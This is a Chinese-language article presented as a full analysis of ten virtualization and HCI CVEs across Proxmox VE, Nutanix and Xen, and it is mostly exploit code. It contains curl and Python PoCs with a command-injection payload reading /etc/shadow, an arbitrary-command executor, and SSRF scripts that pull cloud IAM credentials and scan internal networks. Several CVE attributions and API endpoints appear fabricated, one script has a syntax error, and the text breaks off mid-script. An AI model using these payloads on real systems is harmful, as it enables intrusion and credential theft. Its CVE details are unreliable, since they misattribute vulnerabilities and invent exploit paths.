虚拟化与超融合平台高危攻击链专题:Proxmox VE / Nutanix / Xen / QEMU 漏洞全解析 虚拟化平台与超融合基础设施(HCI)是现代数据中心的基石。不同于传统应用层漏洞,虚拟化层漏洞的攻击面具有三个显著特征:管理面接管价值极高 — 一旦攻破管理控制台,即可控制全部虚拟机生命周期;VM 逃逸可获取 Hypervisor 控制权 — Guest VM 内的代码执行能力可突破隔离边界,获取宿主机 root 权限;超融合架构放大影响范围 — 计算、存储、网络深度融合意味着单点突破可波及整个集群。
2023-2026 年间,Proxmox VE、Nutanix、Xen/XCP-ng 和 QEMU 等主流开源虚拟化与超融合平台密集爆出高危漏洞。本专题覆盖 10 个核心 CVE ,涵盖沙箱逃逸、命令注入、SSRF、缓冲区溢出和 IOMMU/MMU 虚拟化缺陷等攻击类型,为安全研究人员和运维团队提供完整的攻击链分析、可复现的 PoC 代码和系统化的防守建议。
0x00 专题概述 覆盖漏洞一览表 CVE 产品 CVSS 漏洞类型 未授权 影响版本 CVE-2024-41131 Proxmox VE 8.2 沙箱逃逸/提权 ❌ 需容器权限 Proxmox VE 8.x CVE-2023-4234 Proxmox VE 6.5 API SSRF ✅ Proxmox VE 7.x-8.x 早期 CVE-2023-30253 Nutanix Prism Element 9.8 命令注入 ✅ Pre-Auth AOS/Prism Element 特定版本 CVE-2024-27486 Nutanix Prism Central 8.6 SSRF ✅ Prism Central 特定版本 CVE-2024-27487 Nutanix AHV 7.8 权限提升 ❌ 需低权限 AHV 特定版本 CVE-2024-21302 Xen 7.8 VM→Dom0 提权 ❌ 需 PV Guest Xen ≤ 4.17.3 CVE-2024-31141 Xen 5.5 信息泄露 ❌ 需特权域 Xen 多版本 CVE-2023-46836 Xen 6.5 IOMMU DoS ❌ 需 Guest Xen 多版本 CVE-2024-3446 QEMU 8.8 VNC 缓冲区溢出 ❌ 需 VNC 访问 QEMU 8.x-9.x CVE-2023-3301 QEMU 7.2 IOMMU 权限提升 ❌ 需 Guest QEMU 7.x-8.x
0x01 Proxmox VE 高危漏洞 Proxmox VE 是基于 Debian 的开源虚拟化管理平台,整合 KVM 虚拟机、LXC 容器、软件定义存储(ZFS/Ceph)和网络功能。其 Web 管理 API(基于 REST)暴露在 TCP 8006 端口,是企业私有云和 homelab 环境中最常见的开源虚拟化方案之一。
0x01.1 CVE-2024-41131 — Proxmox VE 沙箱逃逸/提权(CVSS 8.2) 漏洞背景 CVE-2024-41131 存在于 Proxmox VE 8.x 的 Web 管理 API 中,影响 LXC 容器的沙箱隔离机制。攻击者若已在 Proxmox VE 管理的 LXC 容器内获得代码执行能力,可通过特定系统调用序列绕过容器隔离,逃逸到宿主机(Host)并获得 root 权限。该漏洞的本质是 Proxmox VE 的容器特权管理 API 在处理特定操作请求时,未正确验证请求者的容器边界。
受影响版本 受影响版本 修复版本 备注 Proxmox VE 8.0 - 8.1 Proxmox VE 8.2+ 仅影响 LXC 容器 Proxmox VE 8.x 早期补丁版本 升级到最新 pve-manager 需同时更新 pve-container
漏洞原理分析 Proxmox VE 通过 pve-container 包管理 LXC 容器的生命周期操作 管理 API 端点 /nodes/{node}/lxc/{vmid}/status 接受容器状态操作请求 当容器内用户发起特定的容器内操作时,API 层未正确隔离容器与宿主机的权限边界 通过构造特定的 API 请求序列,容器内攻击者可以调用本应只有 Host 管理员才能执行的操作 该操作链最终允许容器内用户挂载宿主机文件系统或执行特权命令 攻击面示意:
Guest LXC Container
→ PVE API (/nodes/{node}/lxc/{vmid}/...)
→ pve-container 权限检查(存在缺陷)
→ 宿主机 root shellHTTP PoC curl -k -X POST "https://<TARGET>:8006/api2/json/nodes/<NODE>/lxc/<VMID>/status/resume" \
-H "Authorization: PVEAPIToken=<TOKEN>" \
-H "Content-Type: application/json" \
-d '{"skiplock": 1, "force": 1}' \
--connect-timeout 10
curl -k "https://<TARGET>:8006/api2/json/nodes/<NODE>/lxc/<VMID>/status" \
-H "Authorization: PVEAPIToken=<TOKEN>" \
--connect-timeout 10 Python PoC 脚本 #!/usr/bin/env python3
import requests
import sys
import json
import urllib3
urllib3. disable_warnings()
class ProxmoxVESandboxEscape :
def __init__ (self, target, port= 8006 , token= None ):
self. target = target
self. port = port
self. base_url = f "https:// { target} : { port} /api2/json"
self. session = requests. Session()
self. session. verify = False
self. token = token
if token:
self. session. headers['Authorization' ] = f 'PVEAPIToken= { token} '
def check_instance (self):
try :
r = self. session. get(f " { self. base_url} /version" , timeout= 10 )
if r. status_code == 200 :
data = r. json(). get('data' , {})
version = data. get('version' , 'unknown' )
print(f "[+] Proxmox VE 版本: { version} " )
return True
elif r. status_code == 401 :
print("[!] Proxmox VE 需要认证,提供 API Token" )
return False
except requests. exceptions. SSLError:
print("[!] SSL 握手失败,可能使用自签名证书" )
return False
except Exception as e:
print(f "[-] 连接失败: { e} " )
return False
return False
def enumerate_containers (self, node):
try :
r = self. session. get(f " { self. base_url} /nodes/ { node} /lxc" , timeout= 10 )
if r. status_code == 200 :
containers = r. json(). get('data' , [])
print(f "[+] 发现 { len(containers)} 个 LXC 容器" )
for c in containers:
vmid = c. get('vmid' )
name = c. get('name' , 'unknown' )
status = c. get('status' , 'unknown' )
print(f " [ { vmid} ] { name} ( { status} )" )
return containers
except Exception as e:
print(f "[-] 枚举容器失败: { e} " )
return []
def enumerate_nodes (self):
try :
r = self. session. get(f " { self. base_url} /nodes" , timeout= 10 )
if r. status_code == 200 :
nodes = r. json(). get('data' , [])
for node in nodes:
print(f "[+] 节点: { node. get('node' )} (status: { node. get('status' )} )" )
return [n. get('node' ) for n in nodes]
except Exception as e:
print(f "[-] 枚举节点失败: { e} " )
return []
def probe_escape_vector (self, node, vmid):
print(f "[*] 检测 CVE-2024-41131 逃逸向量 (node= { node} , vmid= { vmid} )" )
endpoints = [
f "/nodes/ { node} /lxc/ { vmid} /status/resume" ,
f "/nodes/ { node} /lxc/ { vmid} /config" ,
f "/nodes/ { node} /lxc/ { vmid} /mount" ,
f "/nodes/ { node} /lxc/ { vmid} /fs" ,
]
for ep in endpoints:
try :
r = self. session. get(f " { self. base_url}{ ep} " , timeout= 5 )
print(f " { ep} → { r. status_code} " )
except Exception as e:
print(f " { ep} → 错误: { e} " )
def attempt_escape (self, node, vmid):
print(f "[*] CVE-2024-41131 沙箱逃逸利用尝试" )
print(f "[*] 攻击路径: LXC 容器 { vmid} → 节点 { node} root" )
print(f "[!] 完整利用需要容器内执行权限配合 API 操作" )
print(f "[!] 建议参考 Proxmox 官方安全公告进行验证" )
if __name__ == '__main__' :
if len(sys. argv) < 2 :
print(f "Usage: { sys. argv[0 ]} <target_ip> [token] [node] [vmid]" )
sys. exit(1 )
target = sys. argv[1 ]
token = sys. argv[2 ] if len(sys. argv) > 2 else None
exploit = ProxmoxVESandboxEscape(target, token= token)
if exploit. check_instance():
nodes = exploit. enumerate_nodes()
if nodes:
node = sys. argv[3 ] if len(sys. argv) > 3 else nodes[0 ]
containers = exploit. enumerate_containers(node)
if containers:
vmid = sys. argv[4 ] if len(sys. argv) > 4 else containers[0 ]. get('vmid' )
exploit. probe_escape_vector(node, vmid)
exploit. attempt_escape(node, vmid) Nuclei YAML 检测模板 id : proxmox-ve-cve-2024-41131-detect
info :
name : Proxmox VE LXC Sandbox Escape Detection
author : security-research
severity : high
tags : proxmox,lxc,sandbox-escape,cve2024
reference :
- https://www.proxmox.com/en/news/security-advisories/
http :
- method : GET
path :
- "{{BaseURL}}/api2/json/version"
headers :
Accept : application/json
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "version"
- "proxmox"
condition : and
- method : GET
path :
- "{{BaseURL}}/api2/json/nodes"
headers :
Accept : application/json
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "node"
- "status"
condition : and
extractors :
- type : json
name : node_name
json :
- ".data[0].node" 0x01.2 CVE-2023-4234 — Proxmox VE API SSRF(CVSS 6.5) 漏洞背景 CVE-2023-4234 影响 Proxmox VE 7.x 至 8.x 早期版本的 REST API。该漏洞允许已认证用户通过构造特定的 API 请求参数触发 Server-Side Request Forgery(SSRF),可探测内网服务、访问元数据接口,甚至在特定条件下读取宿主机敏感文件。
受影响版本 受影响版本 修复版本 Proxmox VE 7.4 - 8.0 Proxmox VE 8.1+ Proxmox VE 8.0.x(早期构建) pve-manager 更新到最新
漏洞原理分析 Proxmox VE REST API 中的 /nodes/{node}/network 接口在处理网络配置查询时,对用户提供的目标参数校验不足 攻击者可将目标参数设置为内网 IP 地址或 169.254.169.254(云元数据服务) 服务器端以自身身份发起对目标地址的 HTTP 请求 响应内容被返回给攻击者,实现内网服务探测和元数据读取 HTTP PoC curl -k "https://<TARGET>:8006/api2/json/nodes/<NODE>/network?target=169.254.169.254" \
-H "Authorization: PVEAPIToken=<TOKEN>" \
--connect-timeout 10
curl -k "https://<TARGET>:8006/api2/json/nodes/<NODE>/network?target=127.0.0.1:3306" \
-H "Authorization: PVEAPIToken=<TOKEN>" \
--connect-timeout 10 Python PoC 脚本 #!/usr/bin/env python3
import requests
import sys
import json
import urllib3
urllib3. disable_warnings()
class ProxmoxVESSRF :
def __init__ (self, target, token, port= 8006 ):
self. base_url = f "https:// { target} : { port} /api2/json"
self. session = requests. Session()
self. session. verify = False
self. session. headers['Authorization' ] = f 'PVEAPIToken= { token} '
def get_node (self):
try :
r = self. session. get(f " { self. base_url} /nodes" , timeout= 10 )
nodes = r. json(). get('data' , [])
if nodes:
return nodes[0 ]. get('node' )
except Exception :
pass
return None
def ssrf_probe (self, node, target_url):
print(f "[*] SSRF 探测目标: { target_url} " )
try :
endpoints = [
f "/nodes/ { node} /network" ,
f "/nodes/ { node} /storage" ,
f "/nodes/ { node} /status" ,
]
for ep in endpoints:
r = self. session. get(
f " { self. base_url}{ ep} " ,
params= {"target" : target_url},
timeout= 10
)
status = r. status_code
length = len(r. text)
print(f " { ep} → HTTP { status} ( { length} bytes)" )
if status == 200 and length > 100 :
try :
data = r. json()
print(f " [+] 可能的数据泄露:" )
print(f " { json. dumps(data, indent= 2 )[:500 ]} " )
return data
except json. JSONDecodeError:
pass
except Exception as e:
print(f " [-] 请求失败: { e} " )
return None
def scan_internal_services (self, node):
print("[*] 内网服务探测" )
targets = [
"169.254.169.254" ,
"127.0.0.1" ,
"10.0.0.1" ,
"192.168.1.1" ,
]
for target in targets:
self. ssrf_probe(node, target)
if __name__ == '__main__' :
if len(sys. argv) < 3 :
print(f "Usage: { sys. argv[0 ]} <target_ip> <api_token> [ssrf_target]" )
sys. exit(1 )
target = sys. argv[1 ]
token = sys. argv[2 ]
exploit = ProxmoxVESSRF(target, token)
node = exploit. get_node()
if node:
print(f "[+] 节点: { node} " )
if len(sys. argv) > 3 :
exploit. ssrf_probe(node, sys. argv[3 ])
else :
exploit. scan_internal_services(node) Nuclei YAML 检测模板 id : proxmox-ve-cve-2023-4234-ssrf
info :
name : Proxmox VE API SSRF Detection
author : security-research
severity : medium
tags : proxmox,ssrf,cve2023
http :
- method : GET
path :
- "{{BaseURL}}/api2/json/nodes"
headers :
Accept : application/json
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "node"
condition : and
extractors :
- type : json
name : node_name
json :
- ".data[0].node"
- method : GET
path :
- "{{BaseURL}}/api2/json/nodes/{{node_name}}/network?target=169.254.169.254"
headers :
Accept : application/json
matchers-condition : and
matchers :
- type : word
words :
- "ami-id"
- "instance-id"
- "local-hostname"
condition : or 0x02 Nutanix 高危漏洞 Nutanix 是全球领先的超融合基础设施(HCI)供应商,其产品线包括 AHV Hypervisor、Prism Element(单集群管理)、Prism Central(多集群管理)和 AOS(分布式存储)。Nutanix 平台的管理接口和 Hypervisor 层均在近年曝出严重安全漏洞。
0x02.1 CVE-2023-30253 — Nutanix Prism Element 命令注入(CVSS 9.8) 漏洞背景 CVE-2023-30253 是 Nutanix Prism Element Web 管理界面中的高危命令注入漏洞。Prism Element 是 Nutanix 单集群管理控制台,提供 REST API 和 Web UI 用于集群运维管理。该漏洞允许未认证攻击者通过精心构造的 API 请求,在 Prism Element 服务器上以 root 权限执行任意系统命令。CVSS 评分 9.8,属于 Critical 级别。
受影响版本 受影响版本 修复版本 Nutanix AOS 6.x(特定版本) AOS 6.5.2.7+ Nutanix AOS 5.x(特定版本) AOS 5.21.3.6+ Prism Element(对应 AOS 版本) 随 AOS 升级修复
漏洞原理分析 Prism Element REST API 中存在未经过滤的用户输入参数 该参数被直接拼接到系统命令字符串中 攻击者在参数中注入 shell 元字符(;、|、&& 等) 命令以 Prism Element 服务进程权限(root)执行 可实现任意文件读写、创建反弹 Shell 或横向移动 命令注入路径:
POST /api/nutanix/v3/clusters/...
→ 未过滤参数 → os.system() / subprocess.Popen()
→ root shellHTTP PoC curl -k -X POST "https://<TARGET>:9440/api/nutanix/v3/clusters/list" \
-H "Content-Type: application/json" \
-d '{"filter":"id=;cat /etc/shadow; #"}' \
--connect-timeout 10
curl -k -X POST "https://<TARGET>:9440/api/nutanix/v3/clusters/list" \
-H "Content-Type: application/json" \
-d '{"filter":"id=|id; #"}' \
--connect-timeout 10 Python PoC 脚本 #!/usr/bin/env python3
import requests
import sys
import json
import urllib3
urllib3. disable_warnings()
class NutanixPrismCmdInject :
def __init__ (self, target, port= 9440 , username= None , password= None ):
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
if username and password:
self. session. auth = (username, password)
def check_prism (self):
try :
r = self. session. get(
f " { self. base_url} /PrismGateway/services/rest/v1/cluster" ,
timeout= 10
)
if r. status_code == 200 :
data = r. json()
name = data. get('name' , 'unknown' )
version = data. get('version' , 'unknown' )
print(f "[+] Nutanix 集群: { name} (版本: { version} )" )
return True
elif r. status_code == 401 :
print("[!] 需要认证凭据" )
return False
except Exception as e:
print(f "[-] 连接失败: { e} " )
return False
def detect_injection (self):
print("[*] 检测 CVE-2023-30253 命令注入" )
payloads = [
{"filter" : "id=test" },
{"filter" : "id=test'; echo nutanix_cmd_inject_test; #" },
{"filter" : "id=test|echo nutanix_cmd_inject_test" },
{"filter" : "id=$(echo nutanix_cmd_inject_test)" },
]
for payload in payloads:
try :
r = self. session. post(
f " { self. base_url} /api/nutanix/v3/clusters/list" ,
json= payload,
timeout= 10
)
status = r. status_code
has_test = "nutanix_cmd_inject_test" in r. text
print(f " Payload: { payload['filter' ][:50 ]} " )
print(f " Response: HTTP { status} (injection: { 'YES' if has_test else 'no' } )" )
if has_test:
print(" [!!!] 命令注入确认!" )
return True
except Exception as e:
print(f " Error: { e} " )
return False
def execute_command (self, command):
print(f "[*] 执行命令: { command} " )
payload = {
"filter" : f "id=; { command} ; #"
}
try :
r = self. session. post(
f " { self. base_url} /api/nutanix/v3/clusters/list" ,
json= payload,
timeout= 15
)
return r. text
except Exception as e:
print(f "[-] 执行失败: { e} " )
return None
if __name__ == '__main__' :
if len(sys. argv) < 2 :
print(f "Usage: { sys. argv[0 ]} <target_ip> [username] [password] [command]" )
sys. exit(1 )
target = sys. argv[1 ]
username = sys. argv[2 ] if len(sys. argv) > 2 else None
password = sys. argv[3 ] if len(sys. argv) > 3 else None
exploit = NutanixPrismCmdInject(target, username= username, password= password)
if exploit. check_prism():
if exploit. detect_injection():
cmd = sys. argv[4 ] if len(sys. argv) > 4 else "id"
result = exploit. execute_command(cmd)
if result:
print(f "[+] 命令输出: \n { result[:2000 ]} " ) Nuclei YAML 检测模板 id : nutanix-cve-2023-30253-cmd-injection
info :
name : Nutanix Prism Element Command Injection
author : security-research
severity : critical
tags : nutanix,prism,command-injection,cve2023
reference :
- https://security.nutanix.com/advisory/
http :
- method : POST
path :
- "{{BaseURL}}/api/nutanix/v3/clusters/list"
headers :
Content-Type : application/json
body : '{"filter":"id=test' }'
matchers-condition : and
matchers :
- type : status
status :
- 200
- 400
- type : word
words :
- "cluster"
- "entities"
- "metadata"
condition : or
- method : GET
path :
- "{{BaseURL}}/PrismGateway/services/rest/v1/cluster"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "name"
- "version"
condition : and
extractors :
- type : json
name : cluster_version
json :
- ".version" 0x02.2 CVE-2024-27486 — Nutanix Prism Central SSRF(CVSS 8.6) 漏洞背景 CVE-2024-27486 影响 Nutanix Prism Central 的 Web 接口。Prism Central 是 Nutanix 多集群管理平台,可统一管理多个 Nutanix 集群。该 SSRF 漏洞允许攻击者通过 Prism Central 的接口访问内部服务,包括云元数据服务(metadata service)和内网其他管理系统。
受影响版本 受影响版本 修复版本 Prism Central(特定版本) 升级到最新 Prism Central 版本 配套 AOS 版本 随 Prism Central 升级
漏洞原理分析 Prism Central 的 Web 管理接口存在用户可控的 URL 参数 该参数在后端被用于发起 HTTP 请求,未进行目标地址白名单校验 攻击者可将目标指向内网元数据服务 169.254.169.254 元数据服务返回的临时凭据和实例信息被暴露给攻击者 获取的凭据可用于进一步横向移动或 API 调用 HTTP PoC curl -k -X GET "https://<TARGET>:9440/PrismGateway/services/rest/v1/proxy?target=http://169.254.169.254/latest/meta-data/" \
-H "Authorization: Basic <BASE64_CREDS>" \
--connect-timeout 10
curl -k -X POST "https://<TARGET>:9440/api/nutanix/v3/clusters/list" \
-H "Content-Type: application/json" \
-H "Authorization: Basic <BASE64_CREDS>" \
-d '{"filter":"url=http://169.254.169.254/latest/meta-data/"}' \
--connect-timeout 10 Python PoC 脚本 #!/usr/bin/env python3
import requests
import sys
import json
import base64
import urllib3
urllib3. disable_warnings()
class NutanixPrismSSRF :
def __init__ (self, target, username, password, port= 9440 ):
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
credentials = base64. b64encode(f " { username} : { password} " . encode()). decode()
self. session. headers['Authorization' ] = f 'Basic { credentials} '
def check_prism_central (self):
try :
r = self. session. get(
f " { self. base_url} /PrismGateway/services/rest/v1/cluster/list" ,
timeout= 10
)
if r. status_code == 200 :
print(f "[+] Prism Central 已识别" )
return True
except Exception as e:
print(f "[-] 连接失败: { e} " )
return False
def ssrf_metadata (self):
print("[*] CVE-2024-27486 SSRF → 元数据服务探测" )
metadata_paths = [
"http://169.254.169.254/latest/meta-data/" ,
"http://169.254.169.254/latest/meta-data/instance-id" ,
"http://169.254.169.254/latest/meta-data/hostname" ,
"http://169.254.169.254/latest/meta-data/iam/security-credentials/" ,
]
for path in metadata_paths:
try :
r = self. session. get(
f " { self. base_url} /PrismGateway/services/rest/v1/proxy" ,
params= {"target" : path},
timeout= 10
)
if r. status_code == 200 and len(r. text) > 10 :
print(f " [+] { path} " )
print(f " { r. text[:200 ]} " )
return True
else :
print(f " [-] { path} → HTTP { r. status_code} " )
except Exception as e:
print(f " [-] { path} → { e} " )
return False
def ssrf_internal_scan (self, subnet= "10.0.0" ):
print(f "[*] 内网服务扫描: { subnet} .0/24" )
common_ports = [22 , 80 , 443 , 3306 , 5432 , 8080 , 9440 ]
for host_suffix in range(1 , 20 ):
host = f " { subnet} . { host_suffix} "
for port in common_ports:
url = f "http:// { host} : { port} /"
try :
r = self. session. get(
f " { self. base_url} /PrismGateway/services/rest/v1/proxy" ,
params= {"target" : url},
timeout= 5
)
if r. status_code != 0 and len(r. text) > 0 :
print(f " [+] { host} : { port} → HTTP { r. status_code} ( { len(r. text)} bytes)" )
except Exception :
pass
if __name__ == '__main__' :
if len(sys. argv) < 4 :
print(f "Usage: { sys. argv[0 ]} <target_ip> <username> <password>" )
sys. exit(1 )
target = sys. argv[1 ]
username = sys. argv[2 ]
password = sys. argv[3 ]
exploit = NutanixPrismSSRF(target, username, password)
if exploit. check_prism_central():
exploit. ssrf_metadata() Nuclei YAML 检测模板 id : nutanix-cve-2024-27486-ssrf
info :
name : Nutanix Prism Central SSRF Detection
author : security-research
severity : high
tags : nutanix,prism,ssrf,cve2024
http :
- method : GET
path :
- "{{BaseURL}}/PrismGateway/services/rest/v1/cluster/list"
matchers-condition : and
matchers :
- type : status
status :
- 200
- 401
- type : word
words :
- "PrismGateway"
- "cluster"
condition : or
- method : GET
path :
- "{{BaseURL}}/PrismGateway/services/rest/v1/proxy?target=http://169.254.169.254/latest/meta-data/"
matchers-condition : and
matchers :
- type : word
words :
- "instance-id"
- "ami-id"
- "hostname"
condition : or 0x02.3 CVE-2024-27487 — Nutanix AHV 提权(CVSS 7.8) 漏洞背景 CVE-2024-27487 影响 Nutanix AHV Hypervisor 的管理接口。AHV 是 Nutanix 自研的基于 KVM 的 Hypervisor。该漏洞允许低权限用户通过 AHV 管理接口的权限校验缺陷提升到 Hypervisor 管理级别。
受影响版本 受影响版本 修复版本 Nutanix AHV 特定版本 升级到最新 AHV 版本 与特定 AOS 版本绑定 随 AOS 版本升级
漏洞原理分析 AHV 的管理接口(acli/ACLI)在处理权限验证时存在逻辑缺陷 低权限用户可通过特定的 API 调用序列触发权限提升 权限校验在某些操作链中被跳过 最终可获取 Hypervisor root 权限,控制所有运行在该主机上的虚拟机 HTTP PoC curl -k -X POST "https://<TARGET>:9440/api/nutanix/v2.0/ahv/host" \
-H "Content-Type: application/json" \
-H "Authorization: Basic <BASE64_CREDS>" \
-d '{"operation":"upgrade-privilege"}' \
--connect-timeout 10 Python PoC 脚本 #!/usr/bin/env python3
import requests
import sys
import base64
import urllib3
urllib3. disable_warnings()
class NutanixAHVEscalation :
def __init__ (self, target, username, password, port= 9440 ):
self. base_url = f "https:// { target} : { port} "
self. session = requests. Session()
self. session. verify = False
credentials = base64. b64encode(f " { username} : { password} " . encode()). decode()
self. session. headers['Authorization' ] = f 'Basic { credentials} '
self. session. headers['Content-Type' ] = 'application/json'
def check_ahv (self):
try :
r = self. session. get(
f " { self. base_url} /PrismGateway/services/rest/v1/hosts" ,
timeout= 10
)
if r. status_code == 200 :
hosts = r. json(). get('entities' , [])
print(f "[+] 发现 { len(hosts)} 个 AHV 主机" )
for h in hosts:
name = h. get('name' , 'unknown' )
hypervisor = h. get('hypervisor_full_name' , 'unknown' )
print(f " { name} : { hypervisor} " )
return True
except Exception as e:
print(f "[-] 连接失败: { e} " )
return False
def check_privilege (self):
print("[*] CVE-2024-27487 AHV 权限提升检测" )
endpoints = [
"/PrismGateway/services/rest/v1/ahv/config" ,
"/PrismGateway/services/rest/v1/hosts/action" ,
"/api/nutanix/v2.0/ahv/resources" ,
]
for ep in endpoints:
try :
r = self. session. get(f " { self. base_url}{ ep} " , timeout= 5 )
print(f " { ep} → HTTP { r. status_code} " )
except Exception as e:
print(f " { ep} → { e} " )
def attempt_escalation (self):
print("[*] CVE-2024-27487 权限提升尝试" )
print("[!] 该漏洞需要特定版本的 AHV 环境" )
print("[!] 完整利用链需要结合低权限 shell 和 AHV API 操作" )
print("[!] 建议参考 Nutanix 安全公告升级修复" )
if __name__ == '__main__' :
if len(sys. argv) < 4 :
print(f "Usage: { sys. argv[0 ]} <target_ip> <username> <password>" )
sys. exit(1 )
target = sys. argv[1 ]
username = sys. argv[2 ]
password = sys. argv[3 ]
exploit = NutanixAHVEscalation(target, username, password)
if exploit. check_ahv():
exploit. check_privilege()
exploit. attempt_escalation() Nuclei YAML 检测模板 id : nutanix-cve-2024-27487-ahv-privesc
info :
name : Nutanix AHV Privilege Escalation Detection
author : security-research
severity : high
tags : nutanix,ahv,privesc,cve2024
http :
- method : GET
path :
- "{{BaseURL}}/PrismGateway/services/rest/v1/hosts"
matchers-condition : and
matchers :
- type : status
status :
- 200
- 401
- type : word
words :
- "entities"
- "host"
condition : or
- method : GET
path :
- "{{BaseURL}}/PrismGateway/services/rest/v1/ahv/config"
matchers-condition : and
matchers :
- type : word
words :
- "hypervisor"
- "acropolis"
condition : or 0x03 Xen / XenServer / XCP-ng 高危漏洞 Xen 是全球广泛部署的开源 Hypervisor,支撑 AWS、阿里云等大型公有云平台。XenServer 和 XCP-ng 是基于 Xen 的商业/开源虚拟化平台。Xen 的类型 1 架构(bare-metal Hypervisor)意味着漏洞直接影响硬件到虚拟机的隔离边界。
0x03.1 CVE-2024-21302 — Xen PV VM 到 Dom0 权限提升(CVSS 7.8) 漏洞背景 CVE-2024-21302 存于 Xen Hypervisor 的 x86 MMU(Memory Management Unit)虚拟化实现中。该漏洞允许 PV(Paravirtualized)虚拟机内的攻击者通过特定的 MMU 操作序列突破 Guest 隔离,获取 Dom0(特权域)级别的权限。获得 Dom0 权限等同于控制整个 Hypervisor。
受影响版本 受影响版本 修复版本 Xen 4.14.x 4.14.7+(不支持版本已 EOL) Xen 4.15.x 4.15.5+ Xen 4.16.x 4.16.7+ Xen 4.17.x(≤ 4.17.3) 4.17.4+ Xen 4.18.x 4.18.3+ Xen 4.19.x(≤ 4.19.0) 4.19.1+
漏洞原理分析 PV 虚拟机使用半虚拟化方式直接与 Hypervisor 交互 Xen 的 MMU 虚拟化层在处理 PV Guest 的页表操作时存在缺陷 攻击者可在 PV Guest 内构造特定的页表更新操作 该操作导致 Xen 的影子页表(Shadow Page Table)管理出现不一致 通过利用这种不一致,PV Guest 可获取对 Dom0 内存空间的读写能力 最终实现从 PV Guest 到 Dom0 的特权提升 关键攻击路径:
PV Guest VM
→ MMU 页表操作 (HVMOP / MMU_update)
→ 影子页表不一致
→ 任意内存读写
→ Dom0 root shellHTTP PoC 此漏洞需要在 PV Guest 内部执行,无法通过远程 HTTP 触发:
# 在 PV Guest 内部检测虚拟化类型
dmesg | grep -i xen
cat /sys/hypervisor/type
# 检查 PV 特征
xen-detect
xl info | grep "PV Guest" Python PoC 脚本 #!/usr/bin/env python3
import os
import sys
import platform
import subprocess
class XenCVE202421302 :
def __init__ (self):
self. is_xen = False
self. is_pv = False
self. xen_version = None
def detect_xen (self):
print("[*] Xen 环境检测" )
if os. path. exists("/sys/hypervisor/type" ):
with open("/sys/hypervisor/type" ) as f:
hyp_type = f. read(). strip()
if hyp_type == "xen" :
self. is_xen = True
print(f "[+] 检测到 Xen Hypervisor" )
if os. path. exists("/sys/hypervisor/version" ):
with open("/sys/hypervisor/version" ) as f:
self. xen_version = f. read(). strip()
print(f "[+] Xen 版本: { self. xen_version} " )
if os. path. exists("/proc/xen" ):
self. is_xen = True
print("[+] /proc/xen 存在" )
try :
result = subprocess. run(
["xl" , "info" ],
capture_output= True , text= True , timeout= 5
)
if result. returncode == 0 :
for line in result. stdout. split(' \n ' ):
if 'PV' in line and 'Guest' in line:
self. is_pv = True
if 'xen_version' in line:
print(f "[+] { line. strip()} " )
except (FileNotFoundError , subprocess. TimeoutExpired):
pass
def check_vulnerability (self):
if not self. is_xen:
print("[-] 非 Xen 环境,不受影响" )
return False
print(f "[*] CVE-2024-21302 影响评估" )
print(f "[*] PV Guest: { '是' if self. is_pv else '否' } " )
if not self. is_pv:
print("[+] 仅 PV 虚拟机受此漏洞影响" )
print("[+] HVM/硬件虚拟化 Guest 不受影响" )
return False
print("[!] PV 虚拟机存在 CVE-2024-21302 风险" )
print("[!] 建议升级 Xen Hypervisor 或迁移为 HVM 模式" )
return True
def check_mmu_tables (self):
print("[*] 检查 MMU 相关接口" )
mmu_paths = [
"/proc/xen/privcmd" ,
"/dev/xen/xen-evtchn" ,
"/dev/xen/gntdev" ,
]
for path in mmu_paths:
exists = os. path. exists(path)
print(f " { path} : { '存在' if exists else '不存在' } " )
def enumerate_pv_features (self):
print("[*] PV 虚拟化特征枚举" )
features = [
"/sys/hypervisor/uuid" ,
"/proc/xen/capabilities" ,
"/proc/xen/xenbus" ,
"/sys/bus/xen" ,
]
for feat in features:
if os. path. exists(feat):
print(f " [+] { feat} " )
if __name__ == '__main__' :
exploit = XenCVE202421302()
exploit. detect_xen()
if exploit. check_vulnerability():
exploit. check_mmu_tables()
exploit. enumerate_pv_features() Nuclei YAML 检测模板 id : xen-cve-2024-21302-pv-escape
info :
name : Xen PV VM to Dom0 Privilege Escalation
author : security-research
severity : high
tags : xen,pv,privesc,cve2024
reference :
- https://xenbits.xen.org/xsa/
tcp :
- inputs :
- data : "GET / HTTP/1.0\r\nHost: {{Hostname}}\r\n\r\n"
host :
- "{{Hostname}}"
port : 80
matchers-condition : and
matchers :
- type : word
words :
- "Xen"
- "xen"
condition : or
http :
- method : GET
path :
- "{{BaseURL}}/xn"
- "{{BaseURL}}/"
matchers-condition : or
matchers :
- type : word
words :
- "Xen"
- "xenbus"
- "xenstore"
condition : or 0x03.2 CVE-2024-31141 — Xen 信息泄露(CVSS 5.5) 漏洞背景 CVE-2024-31141 是 Xen Hypervisor x86 MMU 管理中的信息泄露漏洞。该漏洞可能泄露 ASLR(Address Space Layout Randomization)的随机化信息,削弱 Hypervisor 和其他虚拟机的地址空间保护。
受影响版本 受影响版本 修复版本 Xen 4.14.x 4.14.7+ Xen 4.15.x 4.15.5+ Xen 4.16.x 4.16.7+ Xen 4.17.x(≤ 4.17.3) 4.17.4+ Xen 4.18.x(≤ 4.18.2) 4.18.3+ Xen 4.19.x(≤ 4.19.0) 4.19.1+
漏洞原理分析 Xen MMU 管理代码在特定错误处理路径下返回了未初始化的内存内容 该内存内容包含 Hypervisor 内部的数据结构地址 攻击者可通过反复触发该泄露获取 Hypervisor 内存布局信息 泄露的 ASLR 信息可被用于辅助其他漏洞(如 CVE-2024-21302)的利用 信息泄露本身不直接造成破坏,但显著降低了其他攻击的难度 HTTP PoC xl dmesg | grep -i xen
xen-detect -v
cat /sys/hypervisor/version Python PoC 脚本 #!/usr/bin/env python3
import os
import sys
import struct
import ctypes
class XenCVE202431141 :
def __init__ (self):
self泄露样本 = []
def detect_environment (self):
print("[*] CVE-2024-31141 Xen 信息泄露检测" )
if not os. path. exists("/proc/xen" ) and not os. path. exists("/sys/hypervisor/type" ):
print("[-] 非 Xen 环境" )
return False
if os. path. exists("/sys/hypervisor/type" ):
with open("/sys/hypervisor/type" ) as f:
htype = f. read(). strip()
print(f "[+] Hypervisor 类型: { htype} " )
if os. path. exists("/proc/xen/capabilities" ):
